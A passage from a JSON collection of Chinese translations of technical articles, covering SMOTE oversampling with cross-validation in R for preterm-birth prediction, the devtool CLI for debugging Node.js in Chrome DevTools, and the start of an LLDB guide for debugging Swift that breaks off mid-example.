ifelse(glm.probs < 0.5, \"t\", \"f\")\n  results_lr[index_subj] <- predictions_lr\n\n  #classification tree\n  tree.fit <- tree(preterm ~.,\n                   data = training_data_formula)\n  predictions_tree <- predict(tree.fit, validation_data, type = \"class\")\n  results_tree[index_subj] <- predictions_tree\n\n  #svm\n  svm <- svm(preterm ~.,\n             data = training_data_formula\n  )\n  predictions_svm <- predict(svm, validation_data)\n  results_svm[index_subj] <- predictions_svm\n\n  #random forest      \n  rf <- randomForest(preterm ~.,\n                     data = training_data_formula)\n  predictions_rf <- predict(rf, validation_data)\n  results_rf[index_subj] <- predictions_rf   \n}\n\nmetrics_lr <- data.frame(binary_metrics(as.numeric(as.factor(results_lr)), as.numeric(data_to_use_smote$preterm), class_of_interest = 2))\nmetrics_lr[, c(\"classifier\")] <- c(\"logistic_regression\")\nmetrics_all <- rbind(metrics_all, metrics_lr)\n\nmetrics_tree <- data.frame(binary_metrics(results_tree, as.numeric(data_to_use_smote$preterm), class_of_interest = 2))\nmetrics_tree[, c(\"classifier\")] <- c(\"tree\")\nmetrics_all <- rbind(metrics_all, metrics_tree)\n\nmetrics_svm <- data.frame(binary_metrics(results_svm, as.numeric(data_to_use_smote$preterm), class_of_interest = 2))\nmetrics_svm[, c(\"classifier\")] <- c(\"svm\")\nmetrics_all <- rbind(metrics_all, metrics_svm)\n\nmetrics_rf <- data.frame(binary_metrics(results_rf, as.numeric(data_to_use_smote$preterm), class_of_interest = 2))\nmetrics_rf[, c(\"classifier\")] <- c(\"random_forests\")\nmetrics_all <- rbind(metrics_all, metrics_rf)  \n```\n\nR 包中的 SMOTE 函数在这里可以查看 [DMwR](https://cran.r-project.org/web/packages/DMwR/DMwR.pdf)。训练的结果如下：\n\n![Picture](http://www.marcoaltini.com/uploads/1/3/2/3/13234002/9150552.png?297)\n\n结果相当不错。尤其是随机森林在没有做任何特征工程和调参的前提下 **auc 的值达到了 0.93** ，但是与前面不同的是我们使用了 SMOTE 方法进行欠采样，现在这个问题的核心在于我们应该在什么时候使用恰当的方法，而不是使用哪种方法。在交叉验证之前使用过采样的确获得很高的精度，但模型已经 **过拟合** 了。你看，就算是最简单的分类树都可以获得 0.84 的 AUC 值。\n\n**正确的使用过采样和交叉验证**\n\n正确的在交叉验证中配合使用过拟合的方法很简单。就和我们在交叉验证中的每次循环中做特征选择一样，我们也要在每次循环中做过采样。 **根据我们当前的少数类创建样本，然后选择一个样本作为验证样本，假装我们没有使用在训练集中的数据来作为验证样本，这是毫无意义的。** 这一次，我们在交叉验证循环中过采样，因为验证集已经从训练样本中移除了，因为我们只需要插入那些不用于验证的样本来合成数据，我们交叉验证的迭代次数将和样本数一样，如下代码所示：\n\n```R\ndata_to_use <- tpehgdb_features\n\nmetrics_all <- data.frame()\n\n#leave one participant out cross-validation\nresults_lr <- rep(NA, nrow(data_to_use))\nresults_tree <- rep(NA, nrow(data_to_use))\nresults_svm <- rep(NA, nrow(data_to_use))\nresults_rf <- rep(NA, nrow(data_to_use))\n\nfor(index_subj  in 1:nrow(data_to_use))\n{\n  #remove subject to validate\n  training_data <- data_to_use[-index_subj, ]\n  training_data_smote <- SMOTE(preterm ~ . , cbind(training_data[, c(\"preterm\", features)]), k=5, perc.over = 600)\n\n  #no need to balance the dataset anymore     \n  #select features in the training set\n  training_data_formula <- training_data_smote[, c(\"preterm\", features)]\n\n  #select features in the validation set\n  validation_data <- data_to_use[index_subj, features]\n\n  #logistic regression\n  glm.fit <- glm(preterm ~.,\n                 data = training_data_formula,\n                 family = binomial)\n  glm.probs <- predict(glm.fit, validation_data, type = \"response\")\n  predictions_lr <- ifelse(glm.probs < 0.5, \"t\", \"f\")\n  results_lr[index_subj] <- predictions_lr\n\n  #classification tree\n  tree.fit <- tree(preterm ~.,\n                   data = training_data_formula)\n  predictions_tree <- predict(tree.fit, validation_data, type = \"class\")\n  results_tree[index_subj] <- predictions_tree\n\n  #svm\n  svm <- svm(preterm ~.,\n             data = training_data_formula\n  )\n  predictions_svm <- predict(svm, validation_data)\n  results_svm[index_subj] <- predictions_svm\n\n  #random forest      \n  rf <- randomForest(preterm ~.,\n                     data = training_data_formula)\n  predictions_rf <- predict(rf, validation_data)\n  results_rf[index_subj] <- predictions_rf   \n}\n```\n\n最后，使用了 SMOTE 过采样技术和合适交叉验证下模型的结果如下所示：\n\n![Picture](http://www.marcoaltini.com/uploads/1/3/2/3/13234002/5452864.png?314)\n\n如之前所说，更多的数据并没有解决任何的问题，对于使用“智能”的过采样。它带来了非常高的精确度，但那是过拟合。下面是一些关于召回率和真假率指标的结果的分析和总结可以看看。\n\n**召回率**\n\n[![Picture](http://www.marcoaltini.com/uploads/1/3/2/3/13234002/8854367.jpg?402)](/uploads/1/3/2/3/13234002/8854367_orig.jpg?402)\n\n[![Picture](http://www.marcoaltini.com/uploads/1/3/2/3/13234002/4587025.jpg?402)](/uploads/1/3/2/3/13234002/4587025_orig.jpg?402)\n\n[![Picture](http://www.marcoaltini.com/uploads/1/3/2/3/13234002/3900757.jpg?402)](/uploads/1/3/2/3/13234002/3900757_orig.jpg?402)\n\n[![Picture](http://www.marcoaltini.com/uploads/1/3/2/3/13234002/6433809.jpg?402)](/uploads/1/3/2/3/13234002/6433809_orig.jpg?402)\n\n**真假率**\n\n[![Picture](http://www.marcoaltini.com/uploads/1/3/2/3/13234002/6424600.jpg?402)](/uploads/1/3/2/3/13234002/6424600_orig.jpg?402)\n\n[![Picture](http://www.marcoaltini.com/uploads/1/3/2/3/13234002/7570624.jpg?402)](/uploads/1/3/2/3/13234002/7570624_orig.jpg?402)\n\n[![Picture](http://www.marcoaltini.com/uploads/1/3/2/3/13234002/5755279.jpg?402)](/uploads/1/3/2/3/13234002/5755279_orig.jpg?402)\n\n[![Picture](http://www.marcoaltini.com/uploads/1/3/2/3/13234002/9325217.jpg?402)](/uploads/1/3/2/3/13234002/9325217_orig.jpg?402)\n\n正如我们所看到，分别使用合适的过采样（第四张图）和欠采样（第二张图）在这个数据集上训练出来的模型差距并不是很大。\n\n## 总结\n\n在这篇文章中，我使用了不平衡的 EHG 数据来预测是否早产，目的是讲解在使用过采样的情况下该如何恰当的进行交叉验证。关键是过采样必须是交叉验证的一部分，而不是在交叉验证之前来做过采样。\n\n总结一下，当在交叉验证中使用过采样时，请确保执行了以下步骤从而保证训练的结果具备泛化性：\n\n- 在每次交叉验证迭代过程中，验证集都不要做任何与特征选择，过采样和构建模型相关的事情\n\n- 过采样少数类的样本，但不要选择已经排除掉的那些样本。\n\n- 用对少数类过采样和大多数类的样本混合在一起的数据集来训练模型，然后用已经排除掉的样本做为验证集\n\n- 重复 *n* 次交叉验证的过程，*n* 的值是你训练样本的个数（如果你使用留一交叉验证法的话）\n\n## **关于 EHG 数据、妊娠、分娩和早产分类的一份声明**\n\n显然，分析结果并不意味着利用 EHG 数据检测是否早产是不可能的。只能说明一个横截面记录和这些基本特征并不够用来区分早产。这里最可能需要的是多重生理信号的纵向记录（如EHG、ECG、胎儿心电图、hr/hrv等）以及有关活动和行为的信息。多参数纵向数据可以帮助我们更好地理解这些信号在怀孕结果方面的变化，以及对个体差异的建模，类似于我们在其他复杂的应用中所看到的，从生理学的角度来看，这是很不容易理解的。在 [Bloom](http://www.bloom.life/)，我们正致力于更好地建模这些变量，以有效地预测早产风险。然而，这一问题的内在局限性，仅仅关乎参考值是如何定义的（例如，37周这个阈值是非常武断的），因此需要小心地分析近乎完美的分类，正如我们在这篇文章中所看到的那样。\n\n\n\n## 引用文献\n\n[1] Fergus, Paul, et al. \"Prediction of preterm deliveries from EHG signals using machine learning.\" (2013): e77154. PloS one.\n\n[2] Ren, Peng, et al. \"Improved Prediction of Preterm Delivery Using Empirical Mode Decomposition Analysis of Uterine Electromyography Signals.\" PloS one. 10.7 (2015): e0132116.\n\n[3] Fele-Žorž, Gašper, et al. \"A comparison of various linear and non-linear signal processing techniques to separate uterine EMG records of term and pre-term delivery groups.\" Medical & biological engineering & computing 46.9 (2008): 911-922.\n\n[4] Japkowicz, N. (2000). The Class Imbalance Problem: Significance and Strategies. In Proceedings of the 200 International Conference on Artificial Intelligence (IC-AI’2000): Special Track on Inductive Learning Las Vegas, Nevada.\n\n[5] Chawla, Nitesh V., et al. \"SMOTE: synthetic minority over-sampling technique.\"Journal of artificial intelligence research (2002): 321-357.\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/debugging-nodejs-in-chrome-devtools.md",
    "content": "* 原文链接 : [Debugging Node.js in Chrome DevTools](http://mattdesl.svbtle.com/debugging-nodejs-in-chrome-devtools)\n* 原文作者 : [MATT DESLAURIERS](http://mattdesl.svbtle.com/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [sqrthree (根号三)](https://github.com/sqrthree)\n* 校对者: [shenxn](https://github.com/shenxn)、[CoderBOBO](https://github.com/CoderBOBO)\n\n# 在 chrome 的开发者工具里 debug node.js 代码\n\n这篇文章介绍了一种在 Chrome 开发者工具里面开发、调试和分析 Node.js 应用程序的新方法。\n\n## [ ](http://mattdesl.svbtle.com/debugging-nodejs-in-chrome-devtools#devtool)devtool\n\n最近我一直在开发一个命令行工具 [devtool](https://github.com/Jam3/devtool)，它可以在 Chrome 的开发者工具中运行 Node.js 程序。\n\n下面的记录显示了在一个 HTTP 服务器中设置断点的情况。\n\n![movie](http://i.imgur.com/V4RQSZ2.gif)\n\n该工具基于 [Electron](https://github.com/atom/electron/) 将 Node.js 和 Chromium 的功能融合在了一起。它的目的在于为调试、分析和开发 Node.js 应用程序提供一个简单的界面。\n\n你可以使用 [npm](http://npmjs.com/) 来安装它:\n\n    npm install -g devtool\n\n## [ ](http://mattdesl.svbtle.com/debugging-nodejs-in-chrome-devtools#repl)REPL\n\n在某种程度上，我们可以用它来作为 `node` shell 命令的替代品。例如，我们可以这样打开一个 REPL (译者注: REPL 全称为\"Read-Eval-Print Loop\"，是一个简单的、交互式的编程环境)。\n\n    devtool\n\n这将启动一个带有 Node.js 特性支持的 Chrome 开发者工具实例。\n\n![console](http://i.imgur.com/bnInBHA.png)\n\n我们可以引用 Node 模块、本地 npm 模块和像 `process.cwd()` 这样的内置模块。也可以获取像 `copy()` 和 `table()` 这样的 Chrome 开发者工具中的函数。\n\n其他的例子就一目了然了:\n\n    # run a Node script\n    devtool app.js\n\n    # pipe in content to process.stdin\n    devtool < audio.mp3\n\n    # pipe in JavaScript to eval it\n    browserify index.js | devtool\n\n## [ ](http://mattdesl.svbtle.com/debugging-nodejs-in-chrome-devtools#development) 开发\n\n我们可以在通用模块和应用程序的开发中使用 `devtool`，来代替像 [nodemon](https://www.npmjs.com/package/nodemon) 这样目前已经存在的工具。\n\n    devtool app.js --watch\n\n这行命令将会在 Chrome 开发者工具中的控制台中启动我们的 `app.js`， 通过 `--watch` 参数，我们保存的文件将(自动)重新载入到控制台。\n\n![console](http://i.imgur.com/NuoYkJK.png)\n\n点击 [`app.js:1`](http://mattdesl.svbtle.com/debugging-nodejs-in-chrome-devtools) 链接，程序将会在 `Sources` 标签中把我们带到与之相关的那一行。\n\n![line](http://i.imgur.com/mH5jWT9.png)\n\n在 `Sources` 标签中，你也可以敲击 `Cmd/Ctrl + P` 按键在所有依赖的模块中进行快速搜索。你甚至可以审查和调试内置模块，比如 Node.js 中的那些。你也可以使用左手边的面板来浏览模块。\n\n![Sources](http://i.imgur.com/jn3RmnV.png)\n\n## [ ](http://mattdesl.svbtle.com/debugging-nodejs-in-chrome-devtools#debugging) 调试\n\n因为我们能够访问 `Sources` 标签，所以我们可以用它来调试我们的应用程序。你可以设置一个断点，然后重新加载调试器(`Cmd/Ctrl + R`)，或者你也可以通过 `--break` 标记来设置一个初始断点。\n\n    devtool app.js --break\n\n![break](http://i.imgur.com/hJ2pLW1.png)\n\n下面是一些对于那些学习 Chrome 开发者工具的人来说可能不是特别常用的功能:\n\n*   [条件断点](http://blittle.github.io/chrome-dev-tools/sources/conditional-breakpoints.html)\n*   [有未捕获的异常时暂停](http://blittle.github.io/chrome-dev-tools/sources/uncaught-exceptions.html)\n*   [重启帧](http://blittle.github.io/chrome-dev-tools/sources/restart-frame.html)\n*   [监听表达式](http://albertlee.azurewebsites.net/using-watch-tools-in-chrome-dev-tools-to-improve-your-debugging/)\n\n> 提示 - 当调试器暂停时，你可以敲击 `Escape` 按键打开一个执行在当前作用域内的控制台。你可以修改一些变量然后继续执行。\n\n\n![Imgur](http://i.imgur.com/nG9ellE.gif)\n\n## [ ](http://mattdesl.svbtle.com/debugging-nodejs-in-chrome-devtools#profiling) 分析\n\n`devtool` 的另一个功能是分析像 [browserify](https://github.com/substack/node-browserify), [gulp](https://github.com/gulpjs/gulp) 和 [babel](https://github.com/babel/babel) 这样的程序。\n\n这里我们使用 [`console.profile()`](https://developer.chrome.com/devtools/docs/console-api) (Chrome 的一个功能)来分析一个打包工具的 CPU 使用情况。\n\n    var browserify = require('browserify');\n\n    // Start DevTools profiling...\n    console.profile('build');\n\n    // Bundle some browser application\n    browserify('client.js').bundle(function (err, src) {\n      if (err) throw err;\n\n      // Finish DevTools profiling...\n      console.profileEnd('build');\n    });\n\n现在我们在这个文件上运行 `devtool` :\n\n    devtool app.js\n\n执行之后，我们可以在 `Profiles` 标签中看到结果。\n\n![profile](http://i.imgur.com/vSu7Lcz.png)\n\n我们可以使用右边的链接来查看和调试执行频率较高的代码路径。\n\n![debug](http://i.imgur.com/O4DZHyv.png)\n\n## [ ](http://mattdesl.svbtle.com/debugging-nodejs-in-chrome-devtools#advanced-options) 高级选项\n\n#### [ ](http://mattdesl.svbtle.com/debugging-nodejs-in-chrome-devtools#experiments) 实验\n\nChrome 会不断的向他们的开发者工具中推送新功能和实验，例如 **Promise Inspector**。你可以通过点击右上角的三个点，然后选择 `Settings -> Experiments` 来开启他们。\n\n![experiments](http://i.imgur.com/dNuIMw0.png)\n\n一旦启用，你就可以通过敲击 `Escape` 按键来调出一个带有 _Promises_ 监视器的面板。\n\n![](https://i.imgur.com/xKkTEeg.png)\n\n> 提示: 在 _Experiments_ 界面，如果你敲击 `Shift` 键 6 次，你会接触到一些甚至更多的实验性（不稳定）的功能。\n\n\n#### [ ](http://mattdesl.svbtle.com/debugging-nodejs-in-chrome-devtools#codeconsolecode)`--console`\n\n你可以重定向控制台输出到终端中(`process.stdout` 和 `process.stderr`)。也允许你通过使用管道将它导入到其他进程中，例如 TAP prettifiers。\n\n    devtool test.js --console | tap-spec\n\n#### [ ](http://mattdesl.svbtle.com/debugging-nodejs-in-chrome-devtools#codecode-and-codeprocessargvcode)`--` 和 `process.argv`\n\n你的脚本可以像一个普通的 Node.js 应用那样解析 `process.argv`。如果你在 `devtool` 命令中传递一个句号(`--`)，它后面的所有内容都会被当做一个新的 `process.argv` 。例如:\n\n    devtool script.js --console -- input.txt\n\n现在，你的脚本看起来像这样:\n\n    var file = process.argv[2];\n    console.log('File: %s', file);\n\n输出:\n\n    File: input.txt\n\n#### [ ](http://mattdesl.svbtle.com/debugging-nodejs-in-chrome-devtools#codequitcode-and-codeheadlesscode)`--quit` 和 `--headless`\n\n使用 `--quit`，当遇到了一个错误(如语法错误或者未捕获的异常)时，进程将会安静的退出，并返回结束码`1` 。\n\n使用 `--headless`，开发工具将不会被打开。\n\n这可以用于命令行脚本：\n\n    devtool render.js --quit --headless > result.png\n\n#### [ ](http://mattdesl.svbtle.com/debugging-nodejs-in-chrome-devtools#codebrowserfieldcode)`--browser-field`\n\n一些模块为了更好的在浏览器中运行或许会提供一个入口点。当你需要这些模块时，你可以使用 `--browser-field` 来支持 [package.json flag](https://github.com/defunctzombie/package-browser-field-spec)\n\n例如，我们可以使用 [xhr-request](https://github.com/Jam3/xhr-request) ，当带有 `\"browser\"` 字段被引用时，这个模块会使用 XHR。\n\n    const request = require('xhr-request');\n\n    request('https://api.github.com/users/mattdesl/repos', {\n      json: true\n    }, (err, data) => {\n      if (err) throw err;\n      console.log(data);\n    });\n\n在 shell 中执行:\n\n    npm install xhr-request --save\n    devtool app.js --browser-field\n\n现在，我们可以在 `Network` 选项卡中审查请求:\n\n![requests](http://i.imgur.com/BWciXuh.png)\n\n#### [ ](http://mattdesl.svbtle.com/debugging-nodejs-in-chrome-devtools#codenonodetimerscode)`--no-node-timers`\n\n默认情况下，我们提供全局的 `setTimeout` and `setInterval`，因此他们表现的像 Node.js 一样(返回一个带有 `unref()` and `ref()` 函数的对象)。\n\n但是，你可以禁用这个方法来改善对异步堆栈跟踪的支持。\n\n    devtool app.js --no-node-timers\n\n![async](http://i.imgur.com/dmfOfMx.png)\n\n#### [ ](http://mattdesl.svbtle.com/debugging-nodejs-in-chrome-devtools#v8-flags)V8 Flags\n\n在当前目录，你可以创建一个 `.devtoolrc` 文件来进行诸如 V8 flags 这样的高级设置。\n\n    {\n      \"v8\": {\n        \"flags\": [\n          \"--harmony-destructuring\"\n        ]\n      }\n    }\n\n访问[这里](https://github.com/Jam3/devtool/blob/master/docs/rc-config.md)获取更多细节\n\n## [ ](http://mattdesl.svbtle.com/debugging-nodejs-in-chrome-devtools#gotchas)陷阱\n\n由于程序是在一个 Browser/Electron 环境中运行，而不是在一个真正的 Node.js 环境中。因此这里有[一些陷阱](https://github.com/Jam3/devtool#gotchas)你需要注意。\n\n## [ ](http://mattdesl.svbtle.com/debugging-nodejs-in-chrome-devtools#comparisons)对比\n\n目前已经存在了一些 Node.js 调试器，所以你或许想知道他们之间的区别在哪。\n\n### [ ](http://mattdesl.svbtle.com/debugging-nodejs-in-chrome-devtools#webstorm-debugger)WebStorm 调试器\n\n[WebStorm](https://www.jetbrains.com/webstorm/) 编辑器里面包含了一个非常强大的 Node.js 调试器。如果你已经使用 WebStorm 作为你的代码编辑器，那对你来说很棒。\n\n> ![](https://i.imgur.com/cfwG6qY.png)\n\n但是，它缺少一些 Chrome 开发者工具中的功能，例如:\n\n*   一个丰富的互动的控制台\n*   异常时暂停\n*   异步堆栈跟踪\n*   Promise 检查\n*   分析\n\n但因为你和你的 WebStorm 工作空间集成，所以你可以在调试时修改和编辑你的文件。它也是运行在一个真正的 Node/V8 环境中，而不像 `devtool` 一样。因此对于大部分的 Node.js 应用程序来说它更稳健。\n\n### [ ](http://mattdesl.svbtle.com/debugging-nodejs-in-chrome-devtools#ironnode)iron-node\n\n![](https://i.imgur.com/fkbLvoS.png)\n\n一个同样基于 Electron 的调试器是[iron-node](https://github.com/s-a/iron-node)。`iron-node` 包含了一个内置的命令来重新编译原生插件，还有一个复杂的图形界面显示您的`package.json` 和 `README.md`。\n\n而 `devtool` 更侧重于把命令行、Unix 风格的管道和重定向和 Electron/Browser 的 API 当作有趣的用例。\n\n`devtool` 提供各种各样的功能来表现的更像 Node.js (例如 `require.main`, `setTimeout` 和 `process.exit`)，并且覆盖了内部的 `require` 机制作为 source maps，还有改进过的错误处理、断点注入、以及 `\"browser\"` 字段的解决方案。\n\n### [ ](http://mattdesl.svbtle.com/debugging-nodejs-in-chrome-devtools#nodeinspector)node-inspector\n\n![](https://i.imgur.com/T4fpxjU.png)\n\n你或许也喜欢 [node-inspector](https://github.com/node-inspector/node-inspector)，一个使用远程调试而不是构建在 Electron 之上的工具。\n\n这意味着你的代码将运行在一个真正的 Node 环境中，没有任何 `window` 或其他的 Browser/Electron API 来污染作用域并导致某些模块出现问题。对于大型 Node.js 应用(即本地插件)来说它有一个强有力的支持，并且在开发者工具实例中拥有更多的控制权(即可以注入断点和支持网络请求)。\n\n然而，由于它重新实现了大量的调试技巧，因此对于开发来说感觉可能比最新版的 Chrome 开发者工具要慢、笨拙和脆弱。它经常会崩溃，往往导致 Node.js 开发人员很无奈。\n\n而 `devtool` 的目的是让那些从 Chrome 开发者工具中转过来的人觉得比较亲切，而且也增加了像 Browser/Electron APIs 这样的功能。\n"
  },
  {
    "path": "TODO/debugging-swift-code-with-lldb.md",
    "content": "> * 原文地址：[Debugging Swift code with LLDB](https://medium.com/flawless-app-stories/debugging-swift-code-with-lldb-b30c5cf2fd49)\n> * 原文作者：[Ahmed Sulaiman](https://medium.com/@ahmedsulaiman?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/debugging-swift-code-with-lldb.md](https://github.com/xitu/gold-miner/blob/master/TODO/debugging-swift-code-with-lldb.md)\n> * 译者：[VernonVan](https://github.com/VernonVan)\n> * 校对者：[ZhiyuanSun](https://github.com/ZhiyuanSun)、[Danny1451](https://github.com/Danny1451)\n\n\n\n# 用 LLDB 调试 Swift 代码\n\n![](https://cdn-images-1.medium.com/max/2000/1*_o1ATofHFOE2zlbbPSFz-Q.png)\n\n作为工程师，我们花了差不多 70% 的时间在调试上，剩下的 20% 用来思考架构以及和组员沟通，仅仅只有 10% 的时间是真的在写代码的。\n\n> 调试就像是在犯罪电影中做侦探一样，同时你也是凶手。\n>\n> — [Filipe Fortes](https://twitter.com/fortes) 来自 Twitter\n\n所以让我们在这70%的时间尽可能愉悦是相当重要的。LLDB 就是来打救我们的。奇妙的 Xcode Debugger UI 展示了所有你可用的信息，而不用敲入任何一个 LLDB 命令。然而，控制台在我们的工作中同样也是很重要的一部分。现在让我们来分析一些最有用的 LLDB 技巧。我自己每天都在用它们进行调试。\n\n\n\n### 从哪里开始呢？\n\nLLDB 是一个庞大的工具，内置了很多有用的命令。我不会全部讲解，而是带你浏览最有用的命令。这是我们的计划：\n\n1. 获取变量值：`expression`, `e`, `print`, `po`, `p`\n2. 获取整个应用程序的状态以及特定语言的命令：`bugreport`, `frame`, `language`\n3. 控制应用的执行流程：`process`, `breakpoint`, `thread`, `watchpoint`\n4. 荣誉奖：`command`, `platform`, `gui`\n\n我还准备好了有用的 LLDB 命令说明和实例的表格，有需要的可以把它贴在 Mac 上面记住这些命令 🙂\n\n![](https://cdn-images-1.medium.com/max/800/1*bDt6SNjK1QN9Tfz-roasDg.png)\n\n通过这条链接下载全尺寸的版本 —  [https://www.dropbox.com/s/9sv67e7f2repbpb/lldb-commands-map.png?dl=0](https://www.dropbox.com/s/9sv67e7f2repbpb/lldb-commands-map.png?dl=0)\n\n\n\n### 1. 获取变量值和状态\n\n命令：`expression`, `e`, `print`, `po`, `p`\n\n![](https://cdn-images-1.medium.com/max/1000/1*HcuIHN3WucfxG2Mk80wldw.png)\n\n调试器的一个基础功能就是获取和修改变量的值。这就是 `expression` 或者 `e` 被创造的原因（当然他们还有更高级的功能）。您可以简单的在运行时执行任何表达式或命令。\n\n假设你现在正在调试方法 `valueOfLifeWithoutSumOf()` ：对两个数求和，再用42去减得到结果。\n\n![](https://cdn-images-1.medium.com/max/800/1*ZRG-coIMk9udSc4edkMO6w.png)\n\n继续假设你一直得到错误的结果并且你并不知道是什么原因。所以你可以做以下的事来找到问题：\n\n![](https://cdn-images-1.medium.com/max/800/1*LOFplcSqjYiO2BAjPi--4A.png)\n\n或者。。。使用 LLDB 表达式在运行时修改值才是更好的方法，同时可以找出问题是在哪里出现的。首先，在你感兴趣的地方设置一个断点，然后运行你的应用。\n\n为了用 LLDB 格式打印指定的变量你应该调用：\n\n```\n(lldb) e <variable>\n```\n\n使用相同的命令来执行一些表达式：\n\n```\n(lldb) e <expression>\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*MCBw_pKgO2N5uPZKYmS0fQ.png)\n\n```\n(lldb) e sum \n(Int) $R0 = 6 // 下面你也可以用 $R0 来引用这个变量（在本次调试过程中）\n\n(lldb) e sum = 4 // 修改变量 sum 的值\n\n(lldb) e sum \n(Int) $R2 = 4 // 直到本次调试结束变量 sum 都会是 \"4\" \n```\n\n`expression` 命令也有一些标志。在 `expression` 后面用双破折号 `--` 将标志和实际的表达式分隔开，就像这样：\n\n```\n(lldb) expression <some flags> -- <variable>\n```\n\n`expression` 命令差不多有30种不同的标志。我鼓励你多去探索它们。在终端中键入以下命令可以看到完整的文档：\n\n```\n> lldb\n> (lldb) help # 获取所有变量的命令\n> (lldb) help expression # 获取所有表达式的子命令\n```\n\n我会在下列 `expression` 的标志上多停留一会儿：\n\n- `-D <count>` (`--depth <count>`)  — 设置在转储聚合类型时的最大递归深度（默认为无穷大）。\n- `-O` (`--object-description`)  — 如果可能的话，使用指定语言的描述API来显示。\n- `-T` (`--show-types`)  — 在转储值的时候显示变量类型。\n- `-f <format>` (`--format <format>`) — 指定一种用于显示的格式。\n- `-i <boolean>` (`--ignore-breakpoints <boolean>`) — 在运行表达式时忽略断点。\n\n假设我们有一个叫 `logger` 的对象，这个对象有一些字符串和结构体类型的属性。比如说，你可能只是想知道第一层的属性，那只需要用 `-D` 标志以及恰当的层级深度值，就像这样：\n\n```\n(lldb) e -D 1 -- logger\n\n(LLDB_Debugger_Exploration.Logger) $R5 = 0x0000608000087e90 {\n  currentClassName = \"ViewController\"\n  debuggerStruct ={...}\n}\n```\n\n默认情况下，LLDB 会无限地遍历该对象并且给你展示每个嵌套的对象的完整描述：\n\n```\n(lldb) e -- logger\n\n(LLDB_Debugger_Exploration.Logger) $R6 = 0x0000608000087e90 {\n  currentClassName = \"ViewController\"\n  debuggerStruct = (methodName = \"name\", lineNumber = 2, commandCounter = 23)\n}\n```\n\n你也可以用 `e -O --` 获取对象的描述或者更简单地用别名 `po`，就像下面的示例一样：\n\n```\n(lldb) po logger\n\n<Logger: 0x608000087e90>\n```\n\n并不是很有描述性，不是吗？为了获取更加可阅读的描述，你自定义的类必须遵循 `CustomStringConvertible` 协议，同时实现 `var description: String { return ...}` 属性。接下来只需要用 `po` 就能返回可读的描述。\n\n![](https://cdn-images-1.medium.com/max/1000/1*v1JRHrSQmGIOkEUiQ5CZXA.png)\n\n在本节的开始，我也提到了 `print` 命令。基本上 `print <expression/variable>` 就等同于 `expression -- <expression/variable>`。但是 `print` 命令不能带任何标志或者额外的参数。\n\n\n\n### 2. 获取整个 APP 的状态和指定语言的命令\n\n`bugreport`, `frame`, `language`\n\n![](https://cdn-images-1.medium.com/max/1000/1*1OpRvgpxYDjA5ZeEpbh55Q.png)\n\n你是否经常复制粘贴崩溃日志到任务管理器中方便稍后能考虑这个问题吗？LLDB 提供了一个很好用的命令叫 `bugreport`，这个命令能生成当前应用状态的完整报告。在你偶然触发某些问题但是想在稍后再解决它时这个命令就会很有帮助了。为了能恢复应用的状态，你可以使用 `bugreport` 生成报告。 \n\n```\n(lldb) bugreport unwind --outfile <path to output file>\n```\n\n最终的报告看起来就像下面截图中的例子一样：\n\n![](https://cdn-images-1.medium.com/max/1000/1*ziOW_lKhI6cBgGHl204kDg.png)\n\n`bugreport` 命令输出的示例。\n\n![](https://cdn-images-1.medium.com/max/1000/1*05j2Rp0t2hWAHsCW3tReqg.png)\n假设你想要获取当前线程的当前栈帧的概述，`frame` 命令可以帮你完成：\n\n![](https://cdn-images-1.medium.com/max/800/1*nAyd2l2m679XpH_In968YQ.png)\n\n使用下面的代码片段来快速获取当前地址以及当前的环境条件：\n\n```\n(lldb) frame info\n\nframe #0: 0x000000010bbe4b4d LLDB-Debugger-Exploration`ViewController.valueOfLifeWithoutSumOf(a=2, b=2, self=0x00007fa0c1406900) -> Int at ViewController.swift:96\n```\n\n这些信息在本文后面将要说到的断点管理中非常有用。\n\n![](https://cdn-images-1.medium.com/max/1000/1*uLXBPbMvpDGU3Y9ElPQPsA.png)\n\nLLDB 有几个指定语言的命令，包括C++，Objective-C，Swift 和 RenderScript。在这篇文章中，我们重点关注 Swift。这是两个命令：`demangle` 和 `refcount`。\n\n`demangle` 正如其名字而言，就是用来重组 Swift 类型名的（因为 Swift 在编译的时候会生成类型名来避免命名空间的问题）。如果你想了解多一点的话，我建议你看 WWDC14 的这个分享会 —  [“Advanced Swift Debugging in LLDB”](https://developer.apple.com/videos/play/wwdc2014/410/)。\n\n`refcount` 同样也是一个相当直观的命令，能获得指定对象的引用数量。一起来看一下对象输出的示例，我们用了上一节讲到的对象 — `logger`：\n\n```\n(lldb) language swift refcount logger\n\nrefcount data: (strong = 4, weak = 0)\n```\n\n当然了，在你调试某些内存泄露问题时，这个命令就会很有帮助。\n\n\n\n### 3. 控制应用的执行流程\n\n`process`, `breakpoint`, `thread`\n\n这节是我最喜欢的一节，因为在 LLDB 使用这几个命令（尤其是 `breakpoint` 命令），你可以在调试的时候使很多常规任务变得自动化，这样就能大大加快你的调试工作。\n\n![](https://cdn-images-1.medium.com/max/1000/1*mLGvusUvwDjWnuRGIaM6zw.png)\n\n通过 `process` 基本上你就可以控制调试的过程了，还能链接到特定的 target 或者停止调试器。 但是因为 Xcode 已经自动地帮我们做好了这个工作了（Xcode 在任何时候运行一个 target 时都会连接 LLDB）。我不会在这儿讲太多，你可以在这篇 Apple 的指南中阅读一下如何用终端连接到一个 target — [“Using LLDB as a Standalone Debugger”](https://developer.apple.com/library/content/documentation/IDEs/Conceptual/gdb_to_lldb_transition_guide/document/lldb-terminal-workflow-tutorial.html)。\n\n使用 `process status` 的话，你可以知道当前调试器停住的地址：\n\n```\n(lldb) process status\n\nProcess 27408 stopped\n* thread #1, queue = 'com.apple.main-thread', stop reason = step over\nframe #0: 0x000000010bbe4889 